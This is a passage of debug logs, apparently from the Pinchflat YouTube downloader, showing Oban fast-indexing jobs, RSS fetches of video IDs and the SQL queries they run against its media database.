INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 01:30:46.254 [debug] QUERY OK source="tasks" db=0.0ms idle=284.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [497, 2, ~U[2026-07-24 01:30:46Z], ~U[2026-07-24 01:30:46Z]] 01:30:46.254 [info] {"args":{"id":2},"id":493,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":599343,"event":"job:stop","queue_time":514313,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:30:55.174 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.822 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:31:25.176 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:55.177 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.822 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:32:25.179 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:55.181 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.824 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:33:25.182 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:55.183 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.824 [info] {"source":"oban","duration":148,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:34:25.184 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:55.185 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.825 [info] {"source":"oban","duration":134,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:35:00.951 [info] {"args":{"id":3},"id":495,"meta":{},"system_time":1784856900951223844,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:35:00.951 [debug] QUERY OK source="sources" db=0.0ms idle=1892.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 01:35:00.951 [debug] QUERY OK source="settings" db=0.0ms idle=1007.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:35:00.951 [debug] QUERY OK source="media_profiles" db=0.0ms idle=125.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:35:00.951 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:35:00.951 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 01:35:01.093 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:35:01.094 [debug] QUERY OK source="media_items" db=0.4ms idle=142.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:35:01.097 [debug] QUERY OK source="media_items" db=3.1ms idle=142.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 01:35:01.098 [debug] QUERY OK source="tasks" db=0.0ms idle=146.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [498, 3, ~U[2026-07-24 01:35:01Z], ~U[2026-07-24 01:35:01Z]] 01:35:01.098 [info] {"args":{"id":3},"id":495,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147104,"event":"job:stop","queue_time":325580,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:35:25.186 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:55.187 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.827 [info] {"source":"oban","duration":316,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:36:25.188 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:55.189 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.828 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:37:25.190 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:55.191 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.829 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:38:25.192 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:55.193 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.830 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:39:25.194 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:55.195 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.831 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:40:25.196 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:46.486 [info] {"args":{"id":1},"id":496,"meta":{},"system_time":1784857246486474173,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:40:46.486 [info] {"args":{"id":2},"id":497,"meta":{},"system_time":1784857246486536100,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:40:46.486 [debug] QUERY OK source="sources" db=0.1ms idle=1426.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:40:46.486 [debug] QUERY OK source="sources" db=0.0ms idle=1426.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 01:40:46.487 [debug] QUERY OK source="settings" db=0.0ms idle=1158.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:40:46.487 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:40:46.487 [debug] QUERY OK source="settings" db=0.2ms idle=157.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:40:46.487 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:40:46.487 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 01:40:46.487 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:40:46.487 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:40:46.487 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 01:40:46.776 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:40:46.777 [debug] QUERY OK source="media_items" db=0.2ms idle=289.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 01:40:46.777 [debug] QUERY OK source="media_items" db=0.2ms idle=290.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 01:40:46.832 [debug] QUERY OK source="tasks" db=0.0ms idle=344.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [499, 2, ~U[2026-07-24 01:40:46Z], ~U[2026-07-24 01:40:46Z]] 01:40:46.832 [info] {"args":{"id":2},"id":497,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":345661,"event":"job:stop","queue_time":80777,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:40:46.843 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:40:46.843 [debug] QUERY OK source="media_items" db=0.2ms idle=64.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 01:40:46.847 [debug] QUERY OK source="media_items" db=3.9ms idle=11.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 01:40:46.848 [debug] QUERY OK source="tasks" db=0.0ms idle=10.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [500, 1, ~U[2026-07-24 01:40:46Z], ~U[2026-07-24 01:40:46Z]] 01:40:46.848 [info] {"args":{"id":1},"id":496,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":362083,"event":"job:stop","queue_time":372469,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:40:55.198 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.832 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:41:25.201 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:55.202 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.833 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:42:25.203 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:55.204 [info] {"source":"oban","duration":443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.833 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:43:25.205 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:55.207 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.835 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:44:25.208 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:55.209 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.836 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:45:01.620 [info] {"args":{"id":3},"id":498,"meta":{},"system_time":1784857501620239083,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 01:45:01.620 [debug] QUERY OK source="sources" db=0.1ms idle=560.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 01:45:01.620 [debug] QUERY OK source="settings" db=0.0ms idle=560.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:45:01.621 [debug] QUERY OK source="media_profiles" db=0.0ms idle=560.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:45:01.621 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:45:01.621 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 01:45:01.746 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 01:45:01.747 [debug] QUERY OK source="media_items" db=0.3ms idle=126.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN 